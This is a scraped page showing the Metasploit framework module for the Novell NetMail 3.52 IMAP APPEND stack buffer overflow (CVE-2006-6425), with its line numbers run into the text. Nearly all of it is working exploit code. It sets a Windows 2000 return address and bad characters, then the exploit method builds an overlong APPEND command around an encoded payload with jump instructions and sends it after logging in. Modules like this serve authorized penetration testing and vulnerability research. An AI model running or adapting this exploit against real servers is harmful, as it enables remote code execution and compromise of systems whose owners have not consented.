Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/imap/novell_netmail_append.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Imap910def initialize(info = {})11super(update_info(info,12'Name' => 'Novell NetMail IMAP APPEND Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP APPEND15verb. By sending an overly long string, an attacker can overwrite the16buffer and control program execution.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2006-6425' ],23[ 'OSVDB', '31362' ],24[ 'BID', '21723' ],25[ 'ZDI', '06-054' ],26],27'Privileged' => true,28'DefaultOptions' =>29{30'EXITFUNC' => 'thread',31},32'Payload' =>33{34'Space' => 700,35'BadChars' => "\x00\x0a\x0d\x20",36'StackAdjustment' => -3500,37},38'Platform' => 'win',39'Targets' =>40[41['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],42],43'DefaultTarget' => 0,44'DisclosureDate' => '2006-12-23'))4546end4748def exploit49sploit = "a002 APPEND " + "saved-messages (\Seen) "50sploit << rand_text_english(1358) + payload.encoded + "\xeb\x06"51sploit << rand_text_english(2) + [target.ret].pack('V')52sploit << [0xe9, -585].pack('CV') + rand_text_english(150)5354info = connect_login5556if (info == true)57print_status("Trying target #{target.name}...")58sock.put(sploit + "\r\n")59else60print_status("Not falling through with exploit")61end6263handler64disconnect65end66end676869